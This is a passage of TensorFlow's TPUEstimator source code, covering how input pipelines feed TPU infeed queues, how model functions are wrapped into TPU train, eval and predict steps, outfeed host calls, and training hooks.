per_host_sharded_inputs) else: infeed_queue = tpu_feed.InfeedQueue( number_of_tuple_elements=len(per_host_sharded_inputs[0])) per_host_enqueue_ops = infeed_queue.generate_enqueue_ops( per_host_sharded_inputs, tpu_ordinal_function=tpu_ordinal_function_impl) captured_infeed_queue.capture(infeed_queue) if signals is None: return per_host_enqueue_ops else: return { 'ops': per_host_enqueue_ops, 'signals': signals, } return enqueue_ops_fn, captured_infeed_queue, dataset_initializer def generate_broadcast_enqueue_ops_fn(ctx, input_fn, inputs_structure_recorder, num_hosts): """Generates infeed enqueue ops for one input_fn on all the hosts.""" captured_infeed_queue = _CapturedObject() dataset_initializer = None device_0 = ctx.tpu_host_placement_function(host_id=0) with ops.device(device_0): user_context = tpu_context.TPUContext( internal_ctx=ctx, input_device=device_0, invocation_index=0) inputs = _Inputs.from_input_fn(input_fn(user_context)) is_dataset = inputs.is_dataset if ctx.mode == model_fn_lib.ModeKeys.PREDICT: if not is_dataset: raise TypeError( 'For mode PREDICT, `input_fn` must return `Dataset` instead of ' '`features` and `labels`.') inputs = _InputsWithStoppingSignals( dataset=inputs.dataset, batch_size=ctx.batch_size_for_input_fn, add_padding=True) if is_dataset: dataset_initializer = inputs.dataset_initializer() num_replicas_per_host = ctx.num_of_replicas_per_host def tpu_ordinal_function_impl(replica_id): if ctx.device_assignment: return ctx.device_assignment.tpu_ordinal(replica=replica_id) else: return replica_id % num_replicas_per_host def device_function_impl(replica_id): return ctx.tpu_host_placement_function(replica_id=replica_id) def enqueue_ops_fn(): """Generates enqueue ops for all the hosts.""" broadcasted_inputs = [] flattened_inputs = None # Cache result from input_fn. signals = None for host_id in xrange(num_hosts): with ops.device(ctx.tpu_host_placement_function(host_id=host_id)): for _ in xrange(ctx.num_of_replicas_per_host): # Note: input_fn is only called once at host 0 for the first replica. # The features and labels returned from that invocation are # broadcasted to other replicas(including the replicas on other # hosts). if flattened_inputs is None: features, labels = inputs.features_and_labels() # Calls get_next() signals = inputs.signals() inputs_structure_recorder.validate_and_record_structure( features, labels) flattened_inputs = ( inputs_structure_recorder.flatten_features_and_labels( features, labels, signals)) broadcasted_inputs.append(flattened_inputs) infeed_queue = tpu_feed.InfeedQueue( number_of_tuple_elements=len(broadcasted_inputs[0])) captured_infeed_queue.capture(infeed_queue) enqueue_ops = infeed_queue.generate_enqueue_ops( broadcasted_inputs, tpu_ordinal_function=tpu_ordinal_function_impl, placement_function=device_function_impl) if signals is None: return enqueue_ops else: return { 'ops': enqueue_ops, 'signals': signals, } return enqueue_ops_fn, captured_infeed_queue, dataset_initializer class _InputPipeline(object): """`_InputPipeline` handles invoking `input_fn` and piping to infeed queue. `_InputPipeline` abstracts the per-core/per-host `input_fn` invocation from call site. To be precise, based on the configuration in `_InternalTPUContext`, it invokes `input_fn` for all cores (usually multi-host TPU training) or for one host (usually for single-host TPU evaluation), and sends all `features` and `labels` returned by `input_fn` to TPU infeed. For per-core invocation, `features` and `labels` are piped to infeed directly, one tuple for each core. For per-host invocation, `features` and `labels` are split at host (with respect to `batch_axis`) and piped to all cores accordingly. In addition, flatten/unflatten are handled by `_InputPipeline` also. Model inputs returned by the `input_fn` can have one of the following forms: 1. features 2. (features, labels) 3. ((arbitrarily nested structure of features), labels) Internally, form 1 is reformed to `(features, None)` as features and labels are passed separately to underlying methods. For TPU training, TPUEstimator may expect multiple `features` and `labels` tuples one for each core. TPUEstimator allows various different structures for inputs (namely `features` and `labels`). Both `features` and `labels` can be any nested sturcture supported by TF nest (namely, dict, tuples, namedtuples or any nested structure of such of Tensors). `labels` could be `None` as well. These are flattened before they are passed to the infeed/outfeed library as that expectes flattend lists. """ class InputsStructureRecorder(object): """The recorder to record inputs structure.""" def __init__(self, input_partition_dims=None): # Holds the structure of inputs self._feature_structure = {} self._flattened_input_dims = None if input_partition_dims: # This should have been validated in TPUConfig. assert len(input_partition_dims) <= 2, 'must have 1 or 2 elements.' if len(input_partition_dims) == 2: self._feature_dims, self._label_dims = input_partition_dims else: self._feature_dims = input_partition_dims[0] self._label_dims = None assert self._feature_dims is not None, ('input_partition_dims[0] must ' 'not be None') else: self._feature_dims = None self._label_dims = None # Internal state. self._initialized = False @property def flattened_input_dims(self): assert self._initialized, 'InputsStructureRecorder is not initialized.' return self._flattened_input_dims def has_labels(self): return 'labels' in self._feature_structure def _flatten_input_dims(self, feature_dims, feature_dims_names, label_dims, label_dims_names, label_names, has_labels): """Flatten input dims with the same order as flattened input tensors.""" flattened_input_dims = [] if feature_dims_names: # We need a fixed ordering for matching the tensors in features. flattened_input_dims.extend( [feature_dims[name] for name in feature_dims_names]) else: flattened_input_dims.append(feature_dims) if label_dims_names: # We need a fixed ordering for matching the tensors in labels. flattened_input_dims.extend( [label_dims[name] for name in label_dims_names]) else: if label_names: num_tensors_in_label = len(label_names) else: num_tensors_in_label = int(has_labels) # Setting `None` in input_partition_dims[1] will apply `None` to # all the tensors in labels, regardless of internal structure. flattened_input_dims.extend([label_dims] * num_tensors_in_label) return flattened_input_dims def validate_and_record_structure(self, features, labels): """Validates and records the structure of `features` and `labels`.""" # Extract structure. has_labels = labels is not None feature_names = _extract_key_names(features) label_names = _extract_key_names(labels) if not self._initialized: # Record structure. self._initialized = True if self._feature_dims is not None: feature_dims_names = _extract_key_names(self._feature_dims) if feature_dims_names != feature_names: raise ValueError( 'TPUConfig.input_partition_dims[0] mismatched feature' ' keys. Expected {}, got {}'.format(feature_names, feature_dims_names)) label_dims_names = _extract_key_names(self._label_dims) if self._label_dims is not None and label_dims_names != label_names: raise ValueError( 'TPUConfig.input_partition_dims[1] mismatched label' ' keys. Expected {}, got {}'.format(label_names, label_dims_names)) self._flattened_input_dims = self._flatten_input_dims( self._feature_dims, feature_dims_names, self._label_dims, label_dims_names, label_names, has_labels) def flatten_features_and_labels(self, features, labels, signals=None): """Flattens the `features` and `labels` to a single tensor list.""" self._feature_structure['features'] = features if labels is not None: self._feature_structure['labels'] = labels if signals is not None: self._feature_structure['signals'] = signals return data_nest.flatten(self._feature_structure) def unflatten_features_and_labels(self, flattened_inputs): """Restores the flattened inputs to original features and labels form. Args: flattened_inputs: Flattened inputs for each shard. Returns: A tuple of (`features`, `labels`), where `labels` could be None. Each one, if present, should have identical structure (single tensor vs dict) as the one returned by input_fn. Raises: ValueError: If the number of expected tensors from `flattened_inputs` mismatches the recorded structure. """ unflattened_inputs = data_nest.pack_sequence_as(self._feature_structure, flattened_inputs) return _Inputs( unflattened_inputs['features'], unflattened_inputs.get('labels'), signals=unflattened_inputs.get('signals')) def __init__(self, input_fn, batch_axis, ctx): """Constructor. Args: input_fn: input fn for train or eval. batch_axis: A python tuple of int values describing how each tensor produced by the Estimator `input_fn` should be split across the TPU compute shards. ctx: A `_InternalTPUContext` instance with mode. Raises: ValueError: If both `sharded_features` and `num_cores` are `None`. """ self._inputs_structure_recorder = _InputPipeline.InputsStructureRecorder( ctx.input_partition_dims) self._sharded_per_core = ctx.is_input_sharded_per_core() self._input_fn = input_fn self._infeed_queue = None self._ctx = ctx self._batch_axis = batch_axis def generate_infeed_enqueue_ops_and_dequeue_fn(self): """Generates infeed enqueue ops and dequeue_fn.""" # While tf.while_loop is called, the body function, which invokes # `enqueue_fn` passed in, is called to construct the graph. So, input_fn # structure is recorded. enqueue_ops, all_hooks, run_infeed_loop_on_coordinator = ( self._invoke_input_fn_and_record_structure()) self._validate_input_pipeline() def dequeue_fn(): """dequeue_fn is used by TPU to retrieve the tensors.""" # In the model-parallel case, both the host-side and device-side # computations must agree on the core on which infeed takes place. We # choose to perform infeed on logical core 0 of each replica. values = self._infeed_queue.generate_dequeue_op(tpu_device=0) # The unflatten process uses the structure information recorded above. return self._inputs_structure_recorder.unflatten_features_and_labels( values) return (enqueue_ops, dequeue_fn, all_hooks, run_infeed_loop_on_coordinator) def _invoke_input_fn_and_record_structure(self): """Deploys the input pipeline and record input structure.""" enqueue_ops = [] infeed_queues = [] all_dataset_initializers = [] num_hosts = self._ctx.num_hosts tpu_host_placement_fn = self._ctx.tpu_host_placement_function run_infeed_loop_on_coordinator = True if self._sharded_per_core: # Per-Core input pipeline deployment. # Invoke input pipeline for each core and placed on the corresponding # host. for host_id in range(num_hosts): host_device = tpu_host_placement_fn(host_id=host_id) with ops.device(host_device): with ops.name_scope('input_pipeline_task%d' % (host_id)): enqueue_ops_fn, captured_infeed_queue = ( generate_per_core_enqueue_ops_fn_for_host( self._ctx, self._input_fn, self._inputs_structure_recorder, host_device, host_id)) if _WRAP_INPUT_FN_INTO_WHILE_LOOP: run_infeed_loop_on_coordinator = False enqueue_ops.append( _wrap_computation_in_while_loop( device=host_device, op_fn=enqueue_ops_fn)) else: enqueue_ops.append(enqueue_ops_fn()) # Infeed_queue_getter must be called after enqueue_ops_fn is called. infeed_queues.append(captured_infeed_queue.get()) elif self._ctx.is_input_broadcast_with_iterators(): # Only calls input_fn in host 0. host_device = tpu_host_placement_fn(host_id=0) enqueue_ops_fn, captured_infeed_queue, dataset_initializer = ( generate_broadcast_enqueue_ops_fn(self._ctx, self._input_fn, self._inputs_structure_recorder, num_hosts)) if dataset_initializer: all_dataset_initializers.append(dataset_initializer) run_infeed_loop_on_coordinator = False wrap_fn = ( _wrap_computation_in_while_loop if self._ctx.mode != model_fn_lib.ModeKeys.PREDICT else _wrap_computation_in_while_loop_with_stopping_signals) enqueue_ops.append(wrap_fn(device=host_device, op_fn=enqueue_ops_fn)) else: enqueue_ops.append(enqueue_ops_fn()) infeed_queues.append(captured_infeed_queue.get()) else: for host_id in range(num_hosts): host_device = tpu_host_placement_fn(host_id=host_id) with ops.device(host_device): with ops.name_scope('input_pipeline_task%d' % (host_id)): if self._ctx.is_input_per_host_with_iterators(): enqueue_ops_fn, captured_infeed_queue, dataset_initializer = ( generate_per_host_v2_enqueue_ops_fn_for_host( self._ctx, self._input_fn, self._inputs_structure_recorder, host_device, host_id)) else: enqueue_ops_fn, captured_infeed_queue, dataset_initializer = ( generate_per_host_enqueue_ops_fn_for_host( self._ctx, self._input_fn, self._inputs_structure_recorder, self._batch_axis, host_device, host_id)) # NOTE(xiejw): We dispatch here based on the return type of the # users `input_fn`. # # 1. If input_fn returns a Dataset instance, we initialize the # iterator outside of tf.while_loop, and call the iterator.get_next # inside tf.while_loop. This should be always safe. # # 2. If input_fn returns (features, labels), it is too late to wrap # them inside tf.while_loop, as resource initialization cannot be # handled in TF control flow properly. In this case, we will use # python loop to enqueue the data into TPU system. This may be # slow compared to the previous case. if dataset_initializer: all_dataset_initializers.append(dataset_initializer) run_infeed_loop_on_coordinator = False wrap_fn = ( _wrap_computation_in_while_loop if self._ctx.mode != model_fn_lib.ModeKeys.PREDICT else _wrap_computation_in_while_loop_with_stopping_signals) enqueue_ops.append( wrap_fn(device=host_device, op_fn=enqueue_ops_fn)) else: enqueue_ops.append(enqueue_ops_fn()) infeed_queues.append(captured_infeed_queue.get()) # infeed_queue is used to generate dequeue ops. The only thing it uses for # dequeue is dtypes and types. So, any one can be used. Here, grab the # first one. self._infeed_queue = infeed_queues[0] return enqueue_ops, [ estimator_util.MultiHostDatasetInitializerHook(all_dataset_initializers) ], run_infeed_loop_on_coordinator def _validate_input_pipeline(self): """Validates the input pipeline. Perform some sanity checks to log user friendly information. We should error out to give users better error message. But, if _WRAP_INPUT_FN_INTO_WHILE_LOOP is False (legacy behavior), we cannot break user code, so, log a warning. Raises: RuntimeError: If the validation failed. """ if ops.get_default_graph().get_collection(ops.GraphKeys.QUEUE_RUNNERS): err_msg = ('Input pipeline contains one or more QueueRunners. ' 'It could be slow and not scalable. Please consider ' 'converting your input pipeline to use `tf.data` instead (see ' 'https://www.tensorflow.org/guide/datasets for ' 'instructions.') if _WRAP_INPUT_FN_INTO_WHILE_LOOP: raise RuntimeError(err_msg) else: logging.warn(err_msg) class _ModelFnWrapper(object): """A `model_fn` wrapper. This makes calling model_fn on CPU and TPU easier and more consistent and performs necessary check and mutation required by TPU training and evaluation. In addition, this wrapper manages converting the `model_fn` to a single TPU train and eval step. """ def __init__(self, model_fn, config, params, ctx): self._model_fn = model_fn self._config = config self._params = params self._ctx = ctx def call_without_tpu(self, features, labels, is_export_mode): return self._call_model_fn(features, labels, is_export_mode=is_export_mode) def convert_to_single_tpu_train_step(self, dequeue_fn): """Converts user provided model_fn` as a single train step on TPU. The user provided `model_fn` takes input tuple (features, labels) and produces the EstimatorSpec with train_op and loss for train `mode`. This usually represents a single train computation on CPU. For TPU training, a train (computation) step is first wrapped in a tf.while_loop control flow to repeat for many times and then replicated to all TPU shards. Besides the input should be taken from TPU infeed rather than input pipeline (input_fn) directly. To fit TPU loop and replicate pattern, the original train computation should be reformed, which is the returned `train_step`. Args: dequeue_fn: The function to retrieve inputs, features and labels, from TPU infeed dequeue channel. Returns: A tuple of train_fn, host_calls, and captured scaffold_fn. The train_fn representing the train step for TPU. """ host_call = _OutfeedHostCall(self._ctx) captured_scaffold_fn = _CapturedObject() captured_training_hooks = _CapturedObject() def train_step(loss): """Training step function for use inside a while loop.""" del loss # unused; required in function signature. inputs = dequeue_fn() features, labels = inputs.features_and_labels() estimator_spec = self._verify_estimator_spec( self._call_model_fn(features, labels)) loss, train_op = estimator_spec.loss, estimator_spec.train_op if isinstance(estimator_spec, model_fn_lib._TPUEstimatorSpec): # pylint: disable=protected-access captured_scaffold_fn.capture(estimator_spec.scaffold_fn) else: captured_scaffold_fn.capture(None) captured_training_hooks.capture(estimator_spec.training_hooks) # We must run train_op to update the variables prior to running the # outfeed. with ops.control_dependencies([train_op]): host_call_outfeed_ops = [] if (isinstance(estimator_spec, model_fn_lib._TPUEstimatorSpec) # pylint: disable=protected-access and estimator_spec.host_call is not None): host_call.record({'host_call': estimator_spec.host_call}) host_call_outfeed_ops = host_call.create_enqueue_op() with ops.control_dependencies(host_call_outfeed_ops): return array_ops.identity(loss) return (train_step, host_call, captured_scaffold_fn, captured_training_hooks) def convert_to_single_tpu_eval_step(self, dequeue_fn): """Converts user provided model_fn` as a single eval step on TPU. Similar to training, the user provided `model_fn` takes input tuple (features, labels) and produces the TPUEstimatorSpec with eval_metrics for eval `mode`. This usually represents a single evaluation computation on CPU. For TPU evaluation, a eval (computation) step is first wrapped in a tf.while_loop control flow to repeat for many times and then replicated to all TPU shards. Besides the input and output are slightly different. Input, features and labels, should be taken from TPU infeed rather than input pipeline (input_fn) directly. Output is managed in two stages. First, the model outputs as the result of evaluation computation, usually model logits, should be transferred from TPU system to CPU. Then, all model outputs are concatenated first on CPU and sent to the metric_fn for metrics computation. To fit TPU evaluation pattern, the original eval computation should be reformed, which is the returned `eval_step`. Args: dequeue_fn: The function to retrieve inputs, features and labels, from TPU infeed dequeue channel. Returns: A tuple of eval_fn, host_calls, and captured scaffold_fn. The eval_fn representing the eval step for TPU. """ host_calls = _OutfeedHostCall(self._ctx) captured_scaffold_fn = _CapturedObject() captured_eval_hooks = _CapturedObject() def eval_step(total_loss): """Evaluation step function for use inside a while loop.""" inputs = dequeue_fn() features, labels = inputs.features_and_labels() tpu_estimator_spec = self._call_model_fn(features, labels) if not isinstance(tpu_estimator_spec, model_fn_lib._TPUEstimatorSpec): # pylint: disable=protected-access raise RuntimeError( 'estimator_spec used by TPU evaluation must have type' '`TPUEstimatorSpec`. Got {}'.format(type(tpu_estimator_spec))) loss = tpu_estimator_spec.loss captured_scaffold_fn.capture(tpu_estimator_spec.scaffold_fn) captured_eval_hooks.capture(tpu_estimator_spec.evaluation_hooks) to_record = {} if tpu_estimator_spec.eval_metrics: to_record['eval_metrics'] = tpu_estimator_spec.eval_metrics if tpu_estimator_spec.host_call is not None: # We assume that evaluate won't update global step, so we don't wrap # this host_call. to_record['host_call'] = tpu_estimator_spec.host_call host_calls.record(to_record) with ops.control_dependencies(host_calls.create_enqueue_op()): return math_ops.add(total_loss, loss) return eval_step, host_calls, captured_scaffold_fn, captured_eval_hooks def convert_to_single_tpu_predict_step(self, dequeue_fn): """Converts user provided model_fn` as a single predict step on TPU. Args: dequeue_fn: The function to retrieve inputs, features and labels, from TPU infeed dequeue channel. Returns: A tuple of predict_fn, host_calls, and captured scaffold_fn. The predict_fn representing the predict step for TPU. """ host_calls = _OutfeedHostCall(self._ctx) captured_scaffold_fn = _CapturedObject() captured_predict_hooks = _CapturedObject() def predict_step(unused_scalar_stopping_signal): """Evaluation step function for use inside a while loop.""" inputs = dequeue_fn() features, labels = inputs.features_and_labels() stopping_signals = inputs.signals() assert stopping_signals is not None, ( 'Internal Error: `signals` is missing.') tpu_estimator_spec = self._call_model_fn( features, labels, is_export_mode=False) if not isinstance(tpu_estimator_spec, model_fn_lib._TPUEstimatorSpec): # pylint: disable=protected-access raise RuntimeError( 'estimator_spec used by TPU prediction must have type' '`TPUEstimatorSpec`. Got {}'.format(type(tpu_estimator_spec))) self._verify_tpu_spec_predictions(tpu_estimator_spec.predictions) captured_scaffold_fn.capture(tpu_estimator_spec.scaffold_fn) captured_predict_hooks.capture(tpu_estimator_spec.prediction_hooks) to_record = {} identity_fn = lambda **kwargs: kwargs to_record['predictions'] = [identity_fn, tpu_estimator_spec.predictions] to_record['signals'] = [identity_fn, stopping_signals] if tpu_estimator_spec.host_call is not None: to_record['host_call'] = tpu_estimator_spec.host_call host_calls.record(to_record) with ops.control_dependencies(host_calls.create_enqueue_op()): return _StopSignals.as_scalar_stopping_signal(stopping_signals) return (predict_step, host_calls, captured_scaffold_fn, captured_predict_hooks) def _verify_tpu_spec_predictions(self, predictions): """Validates TPUEstimatorSpec.predictions dict.""" # TODO(xiejw): Adds validation for prediction dictionrary. # TODO(xiejw): Adds support for single tensor as predictions. if not isinstance(predictions, dict): raise TypeError('TPUEstimatorSpec.predictions must be dict of Tensors.') for (key, tensor) in predictions.items(): if tensor.shape[0].value is None: raise ValueError( 'The tensor with key ({}) in TPUEstimatorSpec.predictions has ' 'dynamic shape (should be static). Tensor: {}'.format(key, tensor)) return predictions def _validate_model_features_and_labels(self, features, labels, is_export_mode): """Validates that the features and labels for the model function are valid. A valid features/labels object is the one with: - Type: A tensor or any nested structure of tensors supported by TF nest, namely nested dictionary, tuple, namedtuple, or sequence of tensors. - Static shape if is_export_mode is False. Args: features: the features that would be input to the model function. labels: the labels that would be input to the model function. is_export_mode: boolean value specifying if in export mode. Raises: TypeError: If features/labels are not of the correct type. ValueError: If features/labels have dynamic shape. """ def validate(obj, obj_name): """Helper validate function.""" if is_export_mode or self._ctx.is_running_on_cpu(is_export_mode): return if isinstance(obj, ops.Tensor): if not obj.get_shape().is_fully_defined(): raise ValueError( 'The {} to the model returned by input_fn must have static shape.' ' Tensor: {}'.format(obj_name, obj)) else: for tensor in data_nest.flatten(obj): if not tensor.get_shape().is_fully_defined(): raise ValueError( ('The {} to the model returned by input_fn must have static ' 'shape. Tensor: {}').format(obj_name, tensor)) validate(features, 'features') if labels is not None: validate(labels, 'labels') def _call_model_fn(self, features, labels, is_export_mode=False): """Calls the model_fn with required parameters.""" self._validate_model_features_and_labels(features, labels, is_export_mode) model_fn_args = function_utils.fn_args(self._model_fn) kwargs = {} # Makes deep copy with `config` and params` in case user mutates them. config = copy.deepcopy(self._config) params = copy.deepcopy(self._params) if 'labels' in model_fn_args: kwargs['labels'] = labels elif labels is not None: raise ValueError( 'model_fn does not take labels, but input_fn returns labels.') if 'mode' in model_fn_args: kwargs['mode'] = self._ctx.mode if 'config' in model_fn_args: kwargs['config'] = config if 'params' in model_fn_args: kwargs['params'] = params if 'params' not in model_fn_args: raise ValueError('model_fn ({}) does not include params argument, ' 'required by TPUEstimator to pass batch size as ' 'params[\'batch_size\']'.format(self._model_fn)) if is_export_mode: batch_size_for_model_fn = None else: batch_size_for_model_fn = self._ctx.batch_size_for_model_fn if batch_size_for_model_fn is not None: _add_item_to_params(params, _BATCH_SIZE_KEY, batch_size_for_model_fn) running_on_cpu = self._ctx.is_running_on_cpu(is_export_mode) _add_item_to_params(params, _USE_TPU_KEY, not running_on_cpu) if not running_on_cpu: user_context = tpu_context.TPUContext( internal_ctx=self._ctx, call_from_input_fn=False) _add_item_to_params(params, _CTX_KEY, user_context) estimator_spec = self._model_fn(features=features, **kwargs) if (running_on_cpu and isinstance(estimator_spec, model_fn_lib._TPUEstimatorSpec)): # pylint: disable=protected-access # The estimator_spec will be passed to `Estimator` directly, which expects # type `EstimatorSpec`. return estimator_spec.as_estimator_spec() else: return estimator_spec def _verify_estimator_spec(self, estimator_spec): """Validates the estimator_spec.""" if isinstance(estimator_spec, model_fn_lib._TPUEstimatorSpec): # pylint: disable=protected-access return estimator_spec err_msg = '{} returned by EstimatorSpec is not supported in TPUEstimator.' if estimator_spec.training_chief_hooks: raise ValueError( err_msg.format('training_chief_hooks') + 'If you want' + ' to pass training hooks, please pass via training_hooks.') if estimator_spec.scaffold: logging.warning('EstimatorSpec.Scaffold is ignored by TPU train/eval. ' 'Please use TPUEstimatorSpec.') return estimator_spec class _OutfeedHostCall(object): """Support for `eval_metrics` and `host_call` in TPUEstimatorSpec.""" def __init__(self, ctx): self._ctx = ctx self._names = [] # All of these are dictionaries of lists keyed on the name. self._host_fns = {} self._tensor_keys = collections.defaultdict(list) self._tensors = collections.defaultdict(list) self._tensor_dtypes = collections.defaultdict(list) self._tensor_shapes = collections.defaultdict(list) @staticmethod def validate(host_calls): """Validates the `eval_metrics` and `host_call` in `TPUEstimatorSpec`.""" for name, host_call in host_calls.items(): if not isinstance(host_call, (tuple, list)): raise ValueError('{} should be tuple or list'.format(name)) if len(host_call) != 2: raise ValueError('{} should have two elements.'.format(name)) if not callable(host_call[0]): raise TypeError('{}[0] should be callable.'.format(name)) if not isinstance(host_call[1], (tuple, list, dict)): raise ValueError('{}[1] should be tuple or list, or dict.'.format(name)) if isinstance(host_call[1], (tuple, list)): fullargspec = tf_inspect.getfullargspec(host_call[0]) fn_args = function_utils.fn_args(host_call[0]) # wrapped_hostcall_with_global_step uses varargs, so we allow that. if fullargspec.varargs is None and len(host_call[1]) != len(fn_args): raise RuntimeError( 'In TPUEstimatorSpec.{}, length of tensors {} does not match ' 'method args of the function, which takes {}.'.format( name, len(host_call[1]), len(fn_args))) @staticmethod def create_cpu_hostcall(host_calls): """Runs on the host_call on CPU instead of TPU when use_tpu=False.""" _OutfeedHostCall.validate(host_calls) ret = {} for name, host_call in host_calls.items(): host_fn, tensors = host_call if isinstance(tensors, (tuple, list)): ret[name] = host_fn(*tensors) else: # Must be dict. try: ret[name] = host_fn(**tensors) except TypeError as e: logging.warning( 'Exception while calling %s: %s. It is likely the tensors ' '(%s[1]) do not match the ' 'function\'s arguments', name, e, name) raise e return ret def record(self, host_calls): """Records the host_call structure.""" for name, host_call in host_calls.items(): host_fn, tensor_list_or_dict = host_call self._names.append(name) self._host_fns[name] = host_fn if isinstance(tensor_list_or_dict, dict): for (key, tensor) in six.iteritems(tensor_list_or_dict): self._tensor_keys[name].append(key) self._tensors[name].append(tensor) self._tensor_dtypes[name].append(tensor.dtype) self._tensor_shapes[name].append(tensor.shape) else: # List or tuple. self._tensor_keys[name] = None for tensor in tensor_list_or_dict: self._tensors[name].append(tensor) self._tensor_dtypes[name].append(tensor.dtype) self._tensor_shapes[name].append(tensor.shape) def create_enqueue_op(self): """Create the op to enqueue the recorded host_calls. Returns: A list of enqueue ops, which is empty if there are no host calls. """ if not self._names: return [] tensors = [] # TODO(jhseu): Consider deduping tensors. for name in self._names: tensors.extend(self._tensors[name]) with ops.device(tpu.core(0)): return [tpu_ops.outfeed_enqueue_tuple(tensors)] def create_tpu_hostcall(self): """Sends the tensors through outfeed and runs the host_fn on CPU. The tensors are concatenated along dimension 0 to form a global tensor across all shards. The concatenated function is passed to the host_fn and executed on the first host. Returns: A dictionary mapping name to the return type of the host_call by that name. Raises: RuntimeError: If outfeed tensor is scalar. """ if not self._names: return {} ret = {} # For each i, dequeue_ops[i] is a list containing the tensors from all # shards. This list is concatenated later. dequeue_ops = [] tensor_dtypes = [] tensor_shapes = [] for name in self._names: for _ in self._tensors[name]: dequeue_ops.append([]) for dtype in self._tensor_dtypes[name]: tensor_dtypes.append(dtype) for shape in self._tensor_shapes[name]: tensor_shapes.append(shape) # Outfeed ops execute on each replica's first logical core. Note: we must # constraint it such that we have at most one outfeed dequeue and enqueue # per replica. for i in xrange(self._ctx.num_replicas): host_device, ordinal_id = self._ctx.device_for_replica(i) with ops.device(host_device): outfeed_tensors = tpu_ops.outfeed_dequeue_tuple( dtypes=tensor_dtypes, shapes=tensor_shapes, device_ordinal=ordinal_id) for j, item in enumerate(outfeed_tensors): dequeue_ops[j].append(item) # Deconstruct dequeue ops. dequeue_ops_by_name = {} pos = 0 for name in self._names: dequeue_ops_by_name[name] = dequeue_ops[pos:pos + len(self._tensors[name])] pos += len(self._tensors[name]) # It is assumed evaluation always happens on single host TPU system. So, # place all ops on tpu host if possible. # # TODO(jhseu): Evaluate whether this is right for summaries. with ops.device(self._ctx.tpu_host_placement_function(replica_id=0)): for name in self._names: dequeue_ops = dequeue_ops_by_name[name] for i, item in enumerate(dequeue_ops): if dequeue_ops[i][0].shape.ndims == 0: raise RuntimeError( 'All tensors outfed from TPU should preserve batch size ' 'dimension, but got scalar {}'.format(dequeue_ops[i][0])) # TODO(xiejw): Allow users to specify the axis for batch size # dimension. dequeue_ops[i] = array_ops.concat(dequeue_ops[i], axis=0) if self._tensor_keys[name] is not None: # The user-provided eval_metrics[1] is a dict. dequeue_ops = dict(zip(self._tensor_keys[name], dequeue_ops)) try: ret[name] = self._host_fns[name](**dequeue_ops) except TypeError as e: logging.warning( 'Exception while calling %s: %s. It is likely the tensors ' '(%s[1]) do not match the ' 'function\'s arguments', name, e, name) raise e else: ret[name] = self._host_fns[name](*dequeue_ops) return ret class _OutfeedHostCallHook(session_run_hook.SessionRunHook): """Hook to run host calls when use_tpu=False.""" def __init__(self, tensors): self._tensors = tensors def begin(self): # We duplicate this code from the TPUInfeedOutfeedSessionHook rather than # create a separate hook to guarantee execution order, because summaries # need to be initialized before the outfeed thread starts. # TODO(jhseu): Make a wrapper hook instead? self._init_ops = contrib_summary.summary_writer_initializer_op() # Get all the writer resources from the initializer, so we know what to # flush. self._finalize_ops = [] for op in self._init_ops: self._finalize_ops.append(contrib_summary.flush(writer=op.inputs[0])) def after_create_session(self, session, coord): session.run(self._init_ops) def before_run(self, run_context): return basic_session_run_hooks.SessionRunArgs(self._tensors) def end(self, session): session.run(self._finalize_ops) class ExamplesPerSecondHook(basic_session_run_hooks.StepCounterHook): """Calculate and report global_step/sec and examples/sec during runtime.""" def __init__(self, batch_size, every_n_steps=100, every_n_secs=None, output_dir=None, summary_writer=None): self._batch_size = batch_size super(ExamplesPerSecondHook, self).__init__( every_n_steps=every_n_steps, every_n_secs=every_n_secs, output_dir=output_dir, summary_writer=summary_writer) def _log_and_record(self, elapsed_steps, elapsed_time, global_step): global_step_per_sec = elapsed_steps / elapsed_time examples_per_sec = self._batch_size * global_step_per_sec if self._summary_writer is not None: global_step_summary = Summary(value=[ Summary.Value(tag='global_step/sec', simple_value=global_step_per_sec) ]) example_summary = Summary(value=[ Summary.Value(tag='examples/sec', simple_value=examples_per_sec) ]) self._summary_writer.add_summary(global_step_summary, global_step) self._summary_writer.add_summary(example_summary, global_step) logging.info('global_step/sec: %g', global_step_per_sec) logging.info('examples/sec: %g', examples_per_sec) class InstallSignalHandlerHook(session_run_hook.SessionRunHook): """Change SIGINT (CTRL^C) handler to force quit the process. The default behavior often results in hanging processes. The original handler is restored after training/evaluation. """ def __init__(self): self._signal_fn = signal.getsignal(signal.SIGINT) def before_run(self, run_context): signal.signal(signal.SIGINT, signal.SIG_DFL) def end(self, session): signal.signal(signal.SIGINT, self._signal_fn) class TPUEstimator(estimator_lib.Estimator): """Estimator with TPU support. TPUEstimator also supports training on CPU and GPU. You don't need to define a separate `tf.estimator.Estimator`. TPUEstimator handles many of the details of running on TPU devices, such as replicating inputs and models for each core, and returning to host periodically to run hooks. TPUEstimator transforms a global batch size in params to a per-shard batch size when calling the `input_fn` and `model_fn`. Users should specify global batch size in constructor, and then get the batch size for each shard in `input_fn` and `model_fn` by `params['batch_size']`. - For training, `model_fn` gets per-core batch size; `input_fn` may get per-core or per-host batch size depending on `per_host_input_for_training` in `TPUConfig` (See docstring for TPUConfig for details). - For evaluation and prediction, `model_fn` gets per-core batch size and `input_fn` get per-host batch size. Evaluation ========== `model_fn` should return `TPUEstimatorSpec`, which expects the `eval_metrics` for TPU evaluation. However, if eval_on_tpu is False, `model_fn` must return `EstimatorSpec` and the evaluation will execute on CPU or GPU; in this case the following discussion on TPU evaluation does not apply. `TPUEstimatorSpec.eval_metrics` is a tuple of `metric_fn` and `tensors`, where `tensors` could be a list of any nested structure of `Tensor`s (See `TPUEstimatorSpec` for details). `metric_fn` takes the `tensors` and returns a dict from metric string name to the result of calling a metric function, namely a `(metric_tensor, update_op)` tuple. One can set `use_tpu` to `False` for testing. All training, evaluation, and predict will be executed on CPU. `input_fn` and `model_fn` will receive `train_batch_size` or `eval_batch_size` unmodified as `params['batch_size']`. Current limitations: -------------------- 1. TPU evaluation only works on a single host (one TPU worker) except BROADCAST mode. 2. `input_fn` for evaluation should **NOT** raise an end-of-input exception (`OutOfRangeError` or `StopIteration`). And all evaluation steps and all batches should have the same size. Example (MNIST): ---------------- ``` # The metric Fn which runs on CPU. def metric_fn(labels, logits): predictions = tf.argmax(logits, 1) return { 'accuracy': tf.metrics.precision( labels=labels, predictions=predictions), } # Your model Fn which runs on TPU (eval_metrics is list in this example) def model_fn(features, labels, mode, config, params): ... logits = ... if mode = tf.estimator.ModeKeys.EVAL: return tpu_estimator.TPUEstimatorSpec( mode=mode, loss=loss, eval_metrics=(metric_fn, [labels, logits])) # or specify the eval_metrics tensors as dict. def 